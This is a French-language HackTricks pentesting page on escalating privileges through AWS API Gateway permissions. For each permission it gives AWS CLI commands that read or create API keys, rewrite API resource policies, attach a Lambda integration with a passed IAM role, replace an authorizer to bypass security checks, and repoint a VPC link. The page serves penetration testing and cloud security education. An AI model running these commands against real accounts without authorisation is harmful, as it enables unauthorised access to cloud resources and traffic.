AWS - Apigateway Privesc

Soutenez HackTricks

Apigateway

Pour plus d'informations, consultez :

AWS - API Gateway Enum

apigateway:POST

Avec cette autorisation, vous pouvez générer des clés API des API configurées (par région).

aws --region <region> apigateway create-api-key

Impact potentiel : Vous ne pouvez pas effectuer de privilège d'escalade avec cette technique, mais vous pourriez accéder à des informations sensibles.

apigateway:GET

Avec cette autorisation, vous pouvez obtenir les clés API générées des API configurées (par région).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Impact potentiel : Vous ne pouvez pas réaliser une élévation de privilèges avec cette technique, mais vous pourriez accéder à des informations sensibles.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Avec ces autorisations, il est possible de modifier la stratégie des ressources d'une API pour vous donner accès à son appel et abuser de l'accès potentiel que la passerelle API pourrait avoir (comme l'invocation d'une fonction lambda vulnérable).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Impact potentiel : En général, vous ne pourrez pas effectuer une élévation de privilèges directement avec cette technique, mais vous pourriez accéder à des informations sensibles.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Besoin de test

Un attaquant ayant les autorisations apigateway:PutIntegration, apigateway:CreateDeployment et iam:PassRole peut ajouter une nouvelle intégration à une API Gateway REST API existante avec une fonction Lambda ayant un rôle IAM attaché. L'attaquant peut ensuite déclencher la fonction Lambda pour exécuter du code arbitraire et potentiellement accéder aux ressources associées au rôle IAM.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Accès aux ressources associées au rôle IAM de la fonction Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Besoin de test

Un attaquant avec les autorisations apigateway:UpdateAuthorizer et apigateway:CreateDeployment peut modifier un authorizer API Gateway existant pour contourner les vérifications de sécurité ou exécuter du code arbitraire lors de la réalisation de requêtes API.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Contournement des vérifications de sécurité, accès non autorisé aux ressources de l'API.

Besoin de test

Un attaquant avec la permission apigateway:UpdateVpcLink peut modifier un lien VPC existant pour le faire pointer vers un autre Network Load Balancer, redirigeant potentiellement le trafic de l'API privée vers des ressources non autorisées ou malveillantes.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Impact potentiel : Accès non autorisé aux ressources API privées, interception ou perturbation du trafic API.

Soutenez HackTricks

Last updated